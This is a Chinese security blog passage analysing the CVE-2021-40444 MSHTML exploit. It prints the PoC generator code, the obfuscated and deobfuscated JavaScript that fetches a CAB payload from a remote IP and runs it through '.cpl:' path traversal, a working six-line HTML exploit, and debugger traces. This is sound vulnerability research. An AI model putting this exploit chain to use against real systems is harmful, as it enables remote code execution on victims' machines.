<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    詳細分析CVE-2021-40444遠程命令執行漏洞

    VSole2021-11-14 16:52:14

    前言

    按照順序,本來計劃要看的應該是《漏洞戰爭》中的Adobe Reader UAF漏洞,最近一直在看的Adobe產品的漏洞,所以決定轉換一下思路,挑了最近新出現的CVE-2021-40444漏洞。剛好404之前有一篇博客寫過這個漏洞,我在它的參考資料里面找到了github上面提供的poc生成代碼,以及j00sean在twitter上面發的6行代碼,以這兩者為基礎對該漏洞進行分析。

    poc靜態分析

    先看github上面的項目,根據Readme中的信息,用于生成Poc的主體代碼文件是exploit.py,生成命令為:python3 [exploit.py](http://exploit.py/) generate test/calc.dll http://

    那么我們先來看一下exploit.py這個文件。

    2.1 poc生成代碼

    觀察exploit.py,用于生成poc的主體函數是generate_payload(),主要功能代碼如下(刪除了一些不影響理解的代碼):

    def generate_payload():    # 1. 將payload內容寫入word.dll    payload_content = open(payload_path,'rb').read()    filep = open('data/word.dll','wb')    filep.write(payload_content)   # 2. 將服務器地址寫入要生成的doc文檔中    execute_cmd('cp -r data/word_dat/ data/tmp_doc/')    rels_pr = open('data/tmp_doc/word/_rels/document.xml.rels', 'r')    xml_content = rels_pr.read()    xml_content = xml_content.replace('', srv_url + '/word.html')    rels_pw = open('data/tmp_doc/word/_rels/document.xml.rels', 'w')    rels_pw.write(xml_content)     # 3. 生成doc文檔    os.system('zip -r document.docx *')    execute_cmd('cp document.docx ../../out/document.docx')     # 4. 生成cab文件    execute_cmd('cp word.dll msword.inf')    execute_cmd('lcab \'../msword.inf\' out.cab')    patch_cab('out.cab')    execute_cmd('cp out.cab ../../srv/word.cab')     # 5. 替換HTML文件中的cab文件路徑    execute_cmd('cp backup.html word.html')    p_exp = open('word.html', 'r')    exploit_content = p_exp.read()    exploit_content = exploit_content.replace('', srv_url + '/word.cab')    p_exp = open('word.html', 'w')    p_exp.write(exploit_content)     return
    

    注意到在第二步中,代碼對doc文檔中的word/_rels/document.xml.rels文件進行了更新,添加了srv_url + '/word.html',這樣在文檔打開的時候,就會嘗試連接服務器地址并打開word.html文件;

    在第五步中,代碼對doc文檔會打開的word.html文件進行了更新,添加了word.cab的連接路徑;

    而word.cab文件又是從命令行中指定的payloadtest/calc.dll,使用lcab工具生成的cab文件。

    所以接下來我們要看一下word.html和word.cab文件又干了些什么。

    2.2 HTML文件

    注:我也是自己反混淆完之后才發現lockedbyte的github項目里面有deobfuscate.py文件和deob.html文件.

    word.html中包含一段混淆后的javascript代碼,首先使用notepad++中的插件進行一下美化:

    var a0_0x127f = ['123', '365952KMsRQT', 'tiveX', '/Lo', './../../', 'contentDocument', 'ppD', 'Dat', 'close', 'Acti', 'removeChild', 'mlF', 'write', './A', 'ata/', 'ile', '../', 'body', 'setAttribute', '#version=5,0,0,0', 'ssi', 'iframe', '748708rfmUTk', 'documentElement', 'lFile', 'location', '159708hBVRtu', 'a/Lo', 'Script', 'document', 'call', 'contentWindow', 'emp', 'Document', 'Obj', 'prototype', 'lfi', 'bject', 'send', 'appendChild', 'Low/msword.inf', 'htmlfile', '115924pLbIpw', 'GET', 'p/msword.inf', '1109sMoXXX', './../A', 'htm', 'l/T', 'cal/', '1wzQpCO', 'ect', 'w/msword.inf', '522415dmiRUA', 'http://192.168.6.155/word.cab', '88320wWglcB', 'XMLHttpRequest', 'msword.inf', 'Act', 'D:edbc374c-5730-432a-b5b8-de94f0b57217', 'open', ', 'HTMLElement', '/..', 'veXO', '102FePAWC'];function a0_0x15ec(_0x329dba, _0x46107c) {    return a0_0x15ec = function (_0x127f75, _0x15ecd5) {        _0x127f75 = _0x127f75 - 0xaa;        var _0x5a770c = a0_0x127f[_0x127f75];        return _0x5a770c;    },    a0_0x15ec(_0x329dba, _0x46107c);}(function (_0x59985d, _0x17bed8) {    var _0x1eac90 = a0_0x15ec;    while (!![]) {        try {            var _0x2f7e2d = parseInt(_0x1eac90(0xce)) + parseInt(_0x1eac90(0xd8)) * parseInt(_0x1eac90(0xc4)) + parseInt(_0x1eac90(0xc9)) * -parseInt(_0x1eac90(0xad)) + parseInt(_0x1eac90(0xb1)) + parseInt(_0x1eac90(0xcc)) + -parseInt(_0x1eac90(0xc1)) + parseInt(_0x1eac90(0xda));            if (_0x2f7e2d === _0x17bed8)                break;            else                _0x59985d['push'](_0x59985d['shift']());        } catch (_0x34af1e) {            _0x59985d['push'](_0x59985d['shift']());        }    }}    (a0_0x127f, 0x5df71), function () {    var _0x2ee207 = a0_0x15ec,    _0x279eab = window,    _0x1b93d7 = _0x279eab[_0x2ee207(0xb4)],    _0xcf5a2 = _0x279eab[_0x2ee207(0xb8)]['prototype']['createElement'],    _0x4d7c02 = _0x279eab[_0x2ee207(0xb8)]['prototype'][_0x2ee207(0xe5)],    _0x1ee31c = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xbe)],    _0x2d20cd = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xe3)],    _0x4ff114 = _0xcf5a2['call'](_0x1b93d7, _0x2ee207(0xac));    try {        _0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114);    } catch (_0x1ab454) {        _0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xae)], _0x4ff114);    }    var _0x403e5f = _0x4ff114[_0x2ee207(0xb6)]['ActiveXObject'],    _0x224f7d = new _0x403e5f(_0x2ee207(0xc6) + _0x2ee207(0xbb) + 'le');    _0x4ff114[_0x2ee207(0xde)]['open']()[_0x2ee207(0xe1)]();    var _0x371a71 = 'p';    try {        _0x2d20cd[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114);    } catch (_0x3b004e) {        _0x2d20cd['call'](_0x1b93d7['documentElement'], _0x4ff114);    }    function _0x2511dc() {        var _0x45ae57 = _0x2ee207;        return _0x45ae57(0xcd);    }    _0x224f7d['open']()[_0x2ee207(0xe1)]();    var _0x3e172f = new _0x224f7d[(_0x2ee207(0xb3))][(_0x2ee207(0xd1)) + 'iveX' + (_0x2ee207(0xb9)) + (_0x2ee207(0xca))]('htm' + _0x2ee207(0xaf));    _0x3e172f[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();    var _0xd7e33d = 'c',    _0x35b0d4 = new _0x3e172f[(_0x2ee207(0xb3))]['Ac' + (_0x2ee207(0xdb)) + 'Ob' + 'ject']('ht' + _0x2ee207(0xe4) + _0x2ee207(0xe8));    _0x35b0d4[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();    var _0xf70c6e = new _0x35b0d4['Script'][(_0x2ee207(0xe2)) + (_0x2ee207(0xd7)) + (_0x2ee207(0xbc))]('ht' + 'mlF' + _0x2ee207(0xe8));    _0xf70c6e[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();    var _0xfed1ef = new ActiveXObject('htmlfile'),    _0x5f3191 = new ActiveXObject(_0x2ee207(0xc0)),    _0xafc795 = new ActiveXObject(_0x2ee207(0xc0)),    _0x5a6d4b = new ActiveXObject('htmlfile'),    _0x258443 = new ActiveXObject('htmlfile'),    _0x53c2ab = new ActiveXObject('htmlfile'),    _0x3a627b = _0x279eab[_0x2ee207(0xcf)],    _0x2c84a8 = new _0x3a627b(),    _0x220eee = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xd3)],    _0x3637d8 = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xbd)],    _0x27de6f = _0x279eab['setTimeout'];    _0x220eee[_0x2ee207(0xb5)](_0x2c84a8, _0x2ee207(0xc2), _0x2511dc(), ![]),    _0x3637d8[_0x2ee207(0xb5)](_0x2c84a8),    _0xf70c6e[_0x2ee207(0xb3)][_0x2ee207(0xb4)][_0x2ee207(0xe5)](_0x2ee207(0xd4) + 'dy>');    var _0x126e83 = _0xcf5a2[_0x2ee207(0xb5)](_0xf70c6e['Script'][_0x2ee207(0xb4)], 'ob' + 'je' + 'ct');    _0x126e83[_0x2ee207(0xeb)]('co' + 'de' + 'ba' + 'se', _0x2511dc() + _0x2ee207(0xaa));    var _0x487bfa = 'l';    _0x126e83[_0x2ee207(0xeb)]('c' + 'la' + _0x2ee207(0xab) + 'd', 'CL' + 'SI' + _0x2ee207(0xd2)),    _0x1ee31c[_0x2ee207(0xb5)](_0xf70c6e[_0x2ee207(0xb3)]['document']['body'], _0x126e83),    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',    _0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),    _0xfed1ef['Script']['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),    _0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + '/.' + _0x2ee207(0xc5) + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb),    _0x5f3191[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + _0x2ee207(0xe0) + 'a/Lo' + 'ca' + _0x2ee207(0xc7) + 'em' + 'p/msword.inf',    _0xafc795[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + './../A' + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + 'w/msword.inf',    _0x5a6d4b[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + _0x2ee207(0xe9) + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + 'Dat' + _0x2ee207(0xb2) + 'ca' + 'l/T' + 'em' + _0x2ee207(0xc3),    _0x258443[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + _0x2ee207(0xdd) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb),    _0x5a6d4b['Script'][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '../' + '..' + '/.' + './../T' + 'em' + 'p/msword.inf',    _0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xe9) + _0x2ee207(0xe9) + _0x2ee207(0xbf),    _0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '../' + _0x2ee207(0xe9) + _0x2ee207(0xd0);}    ());
    

    可以看到代碼前段其實算是一個“密碼本”,通過_0x127f75 = _0x127f75 - 0xaa;操作以及_0x59985d['push'](_0x59985d['shift']());操作,獲取到對應索引值位置真正的字符串,代碼的后半段很多內容都是通過在該“密碼本”中索引并拼接實現的。

     一開始我對_0x59985d['push'](_0x59985d['shift']());操作不太熟悉,還是在IE中確定這句代碼實際上是在對數組進行一個原位的前向循環。

    最終使用一個python腳本對這段代碼進行處理:

    import re data = ['123', '365952KMsRQT', 'tiveX', '/Lo', './../../', 'contentDocument', 'ppD', 'Dat', 'close', 'Acti', 'removeChild', 'mlF', 'write', './A', 'ata/', 'ile', '../', 'body', 'setAttribute', '#version=5,0,0,0', 'ssi', 'iframe', '748708rfmUTk', 'documentElement', 'lFile', 'location', '159708hBVRtu', 'a/Lo', 'Script', 'document', 'call', 'contentWindow', 'emp', 'Document', 'Obj', 'prototype', 'lfi', 'bject', 'send', 'appendChild', 'Low/msword.inf', 'htmlfile', '115924pLbIpw', 'GET', 'p/msword.inf', '1109sMoXXX', './../A', 'htm', 'l/T', 'cal/', '1wzQpCO', 'ect', 'w/msword.inf', '522415dmiRUA', 'http://192.168.6.155/word.cab', '88320wWglcB', 'XMLHttpRequest', 'msword.inf', 'Act', 'D:edbc374c-5730-432a-b5b8-de94f0b57217', 'open', ', 'HTMLElement', '/..', 'veXO', '102FePAWC']; def parseInt(s):    result = re.match(r'[0-9]*', s)    if result.group():        return int(result.group())    else:        return 0 def decode(idx):    global data    return data[idx-170] def transform_data(code):    global data    while True:        num = parseInt(decode(206)) + parseInt(decode(216)) * parseInt(decode(196)) + parseInt(decode(201)) * -parseInt(decode(173)) + parseInt(decode(177)) + parseInt(decode(204)) -parseInt(decode(193)) + parseInt(decode(218));        if num == code:            break        data.append(data[0])        data = data[1:] NAME = "a0_0x15ec" js_file = open('original_new.js', 'r')contents = js_file.readlines()contents = ''.join(contents) transform_data(384881) newName_pattern = re.compile(r'(\w+) = ' + NAME)newName_set = set(newName_pattern.findall(contents))while newName_set - {NAME}:    for n in newName_set:        contents = contents.replace(n, NAME)    newName_set = set(newName_pattern.findall(contents)) for i in range(len(data)):    original = NAME + '(0x' + '{:0>2x}'.format(i+170) + ')'    contents = contents.replace(original, "'" + data[i] + "'") str_pattern = re.compile(r'(\w+) = \'(\w+)\'')for pair in str_pattern.findall(contents):    contents = contents.replace(pair[0], "'" + pair[1] + "'") #contents = contents.replace("' + '", "")contents = re.sub(r'\'\)? \+ \(?\'', '', contents)print(contents)
    

    得到最終的代碼(后半部分):

    var a0_0x15ec = a0_0x15ec,_0x279eab = window,_0x1b93d7 = _0x279eab['document'],_0xcf5a2 = _0x279eab['Document']['prototype']['createElement'],_0x4d7c02 = _0x279eab['Document']['prototype']['write'],_0x1ee31c = _0x279eab['HTMLElement']['prototype']['appendChild'],_0x2d20cd = _0x279eab['HTMLElement']['prototype']['removeChild'],_0x4ff114 = _0xcf5a2['call'](_0x1b93d7, 'iframe');try {    _0x1ee31c['call'](_0x1b93d7['body'], _0x4ff114);} catch (_0x1ab454) {    _0x1ee31c['call'](_0x1b93d7['documentElement'], _0x4ff114);}var _0x403e5f = _0x4ff114['contentWindow']['ActiveXObject'],_0x224f7d = new _0x403e5f('htmlfile');_0x4ff114['contentDocument']['open']()['close']();var 'p' = 'p';try {    _0x2d20cd['call'](_0x1b93d7['body'], _0x4ff114);} catch (_0x3b004e) {    _0x2d20cd['call'](_0x1b93d7['documentElement'], _0x4ff114);}function _0x2511dc() {    var a0_0x15ec = a0_0x15ec;    return 'http://192.168.6.155/word.cab';}_0x224f7d['open']()['close']();var _0x3e172f = new _0x224f7d[('Script')][('ActiveXObject')]('htmlFile');_0x3e172f['open']()['close']();var 'c' = 'c',_0x35b0d4 = new _0x3e172f[('Script')]['ActiveXObject']('htmlFile');_0x35b0d4['open']()['close']();var _0xf70c6e = new _0x35b0d4['Script'][('ActiveXObject')]('htmlFile');_0xf70c6e['open']()['close']();var _0xfed1ef = new ActiveXObject('htmlfile'),_0x5f3191 = new ActiveXObject('htmlfile'),_0xafc795 = new ActiveXObject('htmlfile'),_0x5a6d4b = new ActiveXObject('htmlfile'),_0x258443 = new ActiveXObject('htmlfile'),_0x53c2ab = new ActiveXObject('htmlfile'),_0x3a627b = _0x279eab['XMLHttpRequest'],_0x2c84a8 = new _0x3a627b(),_0x220eee = _0x3a627b['prototype']['open'],_0x3637d8 = _0x3a627b['prototype']['send'],_0x27de6f = _0x279eab['setTimeout'];_0x220eee['call'](_0x2c84a8, 'GET', _0x2511dc(), ![]),_0x3637d8['call'](_0x2c84a8),_0xf70c6e['Script']['document']['write']('');var _0x126e83 = _0xcf5a2['call'](_0xf70c6e['Script']['document'], 'object');_0x126e83['setAttribute']('codebase', _0x2511dc() + '#version=5,0,0,0');var 'l' = 'l';_0x126e83['setAttribute']('classid', 'CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'),_0x1ee31c['call'](_0xf70c6e['Script']['document']['body'], _0x126e83),_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:123',_0xfed1ef['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/msword.inf',_0x5f3191['Script']['location'] = '.cpl:../../../AppData/Local/Temp/msword.inf',_0xafc795['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/msword.inf',_0x5a6d4b['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/msword.inf',_0x258443['Script']['location'] = '.cpl:../../../../../Temp/Low/msword.inf',_0x5a6d4b['Script']['location'] = '.cpl:../../../../../Temp/msword.inf',_0x5a6d4b['Script']['location'] = '.cpl:../../Low/msword.inf',_0x5a6d4b['Script']['location'] = '.cpl:../../msword.inf';
    

    其實還有一些內容是可以處理的,但是到此為止已經明顯能夠看出代碼的功能了。它向服務器端請求并插入了http://192.168.6.155/word.cab文件,同時設置script標簽的location屬性為不同路徑下的msword.inf文件。

    根據exploit.py,msword.inf文件就是word.dll文件,而word.dll文件的內容是命令行中指定的payload,即test/calc.dll的內容。

    而word.cab則是由lcab '../msword.inf' out.cab命令以及patch_cab('out.cab')命令生成的out.cab文件復制得到。

    也就是說由于漏洞的存在,導致在請求插入了word.cab之后,能夠做到payload的執行。

    2.3 cab文件格式

    根據wiki,cab文件就是Microsoft Windows中一種支持無損數據壓縮以及數字證書的壓縮格式。每個cab文檔都由文件夾組成,每個文件夾作為單獨的壓縮塊,文件夾中包含了不同的文件,不存在空文件夾。

    從數據流的角度看,cab文件由CFHEADER、CFFOLDER、CFFILE、CFDATA四個結構組成。我們以word.cab文件為例,講解這四個結構。

    2.3.1 CFHEADER

    struct CFHEADER {  u1  signature[4];  // 4D 53 43 46 即MSCF  u4  reserved1;     // 00 00 00 00  u4  cbCabinet;     // 84 7A 03 00 文件大小227972字節  u4  reserved2      // 00 00 00 00  u4  coffFiles;     // 2C 00 00 00 第一個CFFILE結構偏移  u4  reserved3;     // 00 00 00 00  u1  versionMinor;  // 03 版本信息  u1  versionMajor;  // 01 版本信息  u2  cFolders;      // 01 00 CFFOLDER的個數  u2  cFiles;        // 01 00 CFFILE的個數  u2  flags;         // 00 00 標志  u2  setID;         // D2 04 用于標志同一集合內的所有cab文件  u2  iCabinet;      // 00 00 該文件是集合中的第一個文件// 接下來的都是可選項,由于flags為0,未設置任何標志位,// 所以word.cab文件不包含接下來的數據項  u2  cbCFHeader;      u1  cbCFFolder;   u1  cbCFData;         u1  abReserve[];   u1  szCabinetPrev[];  u1  szDiskPrev[];    u1  szCabinetNext[];  u1  szDiskNext[];   };
    

    2.3.2 CFFOLDER

    之后是cFolders個CFFOLDER結構,由于cFolders為1,所以這里只有一個CFFOLDER結構。

    struct CFFOLDER {  u4  coffCabStart;  // 4A 00 00 00 第一個CFDATA的偏移  u2  cCFData;       // 07 00 CFDATA的個數  u2  typeCompress;  // 00 00 CFDATA的壓縮類型,未壓縮  u1  abReserve[];   // 可選項,不包含};
    

    2.3.3 CFFILE

    之后是cFiles個CFFILE結構,由于cFiles為1,所以這里只有一個CFFILE結構。

    struct CFFILE {  u4  cbFile;           // 02 00 5C 41 未壓縮的文件大小 1096548354字節??  u4  uoffFolderStart;  // 00 00 00 00 該文件在文件夾中的未壓縮偏移  u2  iFolder;          // 00 00 包含該文件的文件夾索引  u2  date;             // 54 53 最后修改日期 2021-10-20  u2  time;             // D1 08 最后修改時間 01:06:34  u2  attribs;          // 20 00 屬性  u1  szName[];         // 這里是14字節的字符串,當前文件名稱 ../msword.inf};
    

    cbFile字段存在問題,太大了。

    2.3.4 CFDATA

    之后是cCFData個CFDATA結構,由于cCFData是7,所以這里有7個CFDATA結構。

    struct CFDATA {  u4  csum;         // 當前CFDATA結構的checksum  u2  cbData;       // 該CFDATA結構包含的數據字節數  u2  cbUncomp;     // 該CFDATA結構包含的未壓縮數據字節數  u1  abReserve[];  // 可選項,word.cab不包含  u1  ab[cbData];   // 壓縮后數據};
    

    2.3.5 word.cab的問題

    根據2.2小結的結論,word.cab則是由lcab '../msword.inf' out.cab命令以及patch_cab('out.cab')命令生成的out.cab文件復制得到的,看一下patch_cab:

    m_off = 0x2ddef patch_cab(path):    f_r = open(path, 'rb')    cab_content = f_r.read()    f_r.close()     out_cab = cab_content[:m_off]    out_cab += b'\x00\x5c\x41\x00'    out_cab += cab_content[m_off+4:]     out_cab = out_cab.replace(b'..\\msword.inf', b'../msword.inf')     f_w = open(path, 'wb')    f_w.write(out_cab)    f_w.close()    return
    

    它把位于0x2d偏移處的四個字節修改成了0x00415c00,并且對..\\msword.inf進行了替換。

     在根據word.cab分析cab文件格式的時候,我們遇到一個問題,CFFILE中的cbFile的值不太對。按道理來說,patch_cab想要修改的應該就是cbFile這個字段,但是m_off的選取不正常,看起來好像是假設CFFOLDER中的abReserve字段也存在一個字節。

     為此我修改了一下exploit.py,刪除了patch_cab函數的調用,重新觀察生成的word.cab文件,此時cbFile處的數據為02 7A 03 00,也就是說未壓縮的文件大小為227842字節。 

    注:如果你檢查一下test/calc.dll文件的大小,會發現也是227842字節,因為這個cab文件未壓縮,而且只包含calc.dll這一個文件。

     因此,雖然目前還不知道為什么要修改cbFile字段,但是patch_cab這個函數應該是存在問題的。

    2.4 小結

    到目前為止,通過分析poc生成代碼exploit.py,我們了解了進行漏洞利用的相關文件是如何生成的;同時對生成的word.html中的javascript代碼進行了反混淆,確定了其功能;最后以word.cab為模板了解了cab文件格式。 

    但是仍舊有很多問題:

    • 為什么要修改cbFile字段為0x00415C00?
    • 替換..\\msword.inf的作用是什么?
    • word.html中,以.cpl:開頭的一系列msword.inf的路徑有什么用?
    • word.cab中的msword.inf與第三點中的msword.inf有什么關聯嗎?

    漏洞利用調試分析

    注:我在調試之前,手工把word.cab中cbFile的字段改成了0x00415c00,之前因為patch_cab存在問題,把這里修改成了0x415c0002,雖然這個修改并不影響最終結果。

    3.1 exploit測試

    操作系統:Win10 專業版 1709

    nodejs: 16.11.1

     IE: 11.1087.16299.0

     因為我的win10虛擬機沒裝office,為了方便測試,就使用了j00sean在twitter中提到的6行代碼:

    <html><script>var obj = document.createElement("object");obj.setAttribute("codebase", window.location.origin + "/word.cab#version=5,0,0,0");obj.setAttribute("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");var i = document.createElement("iframe");document.documentElement.appendChild(i);i.src = ".cpl:../../../AppData/Local/Temp/Low/msword.inf"script>html>
    
    • 安裝node-js,并安裝http-server,具體操作見參考資料6
    • 在桌面創建一個文件夾,包含文件word.cab,以及由上面代碼組成的文件exploit.html
    • 在上述文件夾中打開cmd,輸入http-server開啟服務器
    • 在IE中輸入地址http://127.0.0.1:8080/exploit.html,回車,成功彈出計算器

    在procmon監控的事件中,找到了IE寫入word[1].cab行為:

    找到了IE寫入msword.inf行為:

    找到了control.exe運行msword.inf行為:

    親自搭建環境測試之后,對于2.4中的第三個和第四個問題已經有了答案:

    • word.html中之所以有那么多.cpl開頭的路徑,是因為無法確定用戶環境中,最終msword.inf位于哪個文件夾下,所以需要做一些猜測;
    • 兩個msword.inf不僅內容相同,實際上就是同一個文件。javascript請求word.cab之后,這個文件在用戶本地會自解壓并將解壓后文件放到緩存目錄下,最終通過之后代碼中的.cpl路徑運行解壓后的msword.inf文件。

    3.2 怎樣開始調試

    首先需要將windbg附加到iexplore.exe進程上,不知道是不是操作系統的原因,之前在win7上調試IE的時候沒遇到這個問題,但是這次在win10上打開IE后,顯示可附加的iexplore.exe有兩個,一個是主進程,一個是對應打開標簽的子進程,附加的時候一定要看好,需要附加到子進程上。

     除了選擇附加進程外,還存在另一個問題。之前漏洞調試的時候,因為漏洞比較古老,環境存在差異,導致漏洞利用無法成功完成,程序會陷入異常,這種情況對于漏洞調試反而是好的,你可以直接分析異常環境。

    但是這次漏洞利用成功完成,可以彈出計算器,這就導致如果不設置任何斷點,F5繼續執行后,整個流程就一發不可收拾地完成了,反而無法進行漏洞調試。所以必須要找到一個合適的斷點,方便進行漏洞調試。

     根據MSDN上的文檔(參考資料1),FCI(File Compression Interface)和FDI(File Decompression Interface)庫用于創建CAB以及從CAB中提取文件,相關功能函數位于cabinet.dll文件中。其中FDI API函數包括:FDICreate, FDIIsCabinet, FDICopy, FDIDestroy。

     而從3.1的測試結果來看,IE在請求了word.cab文件后,會自動進行解壓縮釋放cab里面保存的文件。因此我們完全可以在FDICreate函數處設置一個斷點,此時一切尚未發生。 

    因此步驟就是:附加IE進程,設置斷點,F5繼續執行,輸入URL,回車,程序中斷在FDICreate。

    (11c8.1030): Break instruction exception - code 80000003 (first chance)eax=02f0a000 ebx=00000000 ecx=7724a080 edx=20010088 esi=7724a080 edi=7724a080eip=77211900 esp=0c0dfaec ebp=0c0dfb18 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246ntdll!DbgBreakPoint:77211900 cc              int     30:028> bu cabinet!FDICreate0:028> gBreakpoint 0 hiteax=0e356efb ebx=07e2b290 ecx=71ab77d0 edx=08000000 esi=07e2b0f8 edi=71ab77d0eip=71ab77d0 esp=07e2b0d0 ebp=07e2b100 iopl=0         nv up ei pl nz na po cycs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203CABINET!FDICreate:71ab77d0 8bff            mov     edi,edi
    

    3.3 靜態+動態分析

    3.3.1 cabinet外層調用分析

    目前windbg中斷在了cabinet!FDICreate函數的起始位置,在調試跟蹤之前,我們需要確定關注的重點位置,看一下此時的函數調用流程:

    0:009> kb # ChildEBP RetAddr  Args to Child             00 07e2b0cc 71ea06a2 71e8a940 71e8aba0 71e8abb0 CABINET!FDICreate01 07e2b100 71e8ad61 7720f80c 771fe810 ffffffff urlmon!FDICreate+0xc602 07e2b138 71ea59ec 07e2b28c 0c277dd8 07e2b7d8 urlmon!Extract+0x6103 07e2b268 71ea5cb5 07e2b28c 07e2b5b8 053bb5d8 urlmon!ExtractInfFile+0x5804 07e2b7c4 71e9f199 07e2b7dc 089140c8 800b010b urlmon!GetSupportedInstallScopesFromFile+0x8d05 07e2b7e0 71e9f683 00000000 088d9620 089140c8 urlmon!SetInstallScopeFromFile+0x3506 07e2bbac 71ea4355 00000858 002b0568 08914138 urlmon!Cwvt::VerifyTrust+0x39a07 07e2d468 71e9077d 07e2d480 07e2d494 71e90803 urlmon!CDownload::VerifyTrust+0x16c08 07e2d474 71e90803 00000000 00000003 71e90640 urlmon!CCDLPacket::Process+0x6f...
    

    可以看到在CABINET!FDICreate調用前幾個比較有意思的函數:urlmon!FDICreate, urlmon!Extract, urlmon!ExtractInfFile,這幾個函數功能從函數名大致就可以猜出來,但是具體都看了什么還無法確定。

     從win10虛擬機中找到urlmon.dll并在IDA中打開,查看這幾個函數的偽代碼。

     urlmon!FDICreate函數就是在從cabinet.dll中獲取FDICreate等函數的地址,然后調用FDICreate函數,這里不再貼出代碼。

     urlmon!Extract函數主要調用了urlmon!FDICreate函數,并通過這個函數中獲取的cabinet.dll中的函數地址,調用其中的FDICopy、FDIDestroy函數:

    signed int __userpurge Extract@(ERF *a1@, int a2@, PFNFDINOTIFY pfnfdin, int a4) {...    if ( !FDICreate(v7, v8, v9, v11, v13, v15, (pfnfdin + 4), a2, a1)      || (v21 = FDICopy(v10, v12, v14, v16, pfnfdin, v18, v20), !FDIDestroy(v19)) )    {      v5 = 0x800300FD;    }...}
    

    根據文檔FDICopy函數的功能就是從cab中提取文件。

     如果在windbg中檢查該函數的第二個參數(我一開始在IDA中看的是64位版本的urlmon.dll,可以看出來第二個參數是cab文件路徑):

    0:009> da 0c277dd80c277dd8  "C:\Users\zoem\AppData\Local\Micr"0c277df8  "osoft\Windows\INetCache\Low\IE\J"0c277e18  "YSZRXQN\word[1].cab"
    

    果然,這是exploit.html從服務器端請求的word[1].cab緩存下來的路徑。所以urlmon!Extract函數基本上就是從word[1].cab中提取文件了。

     再看一下urlmon!ExtractInfFile函數:

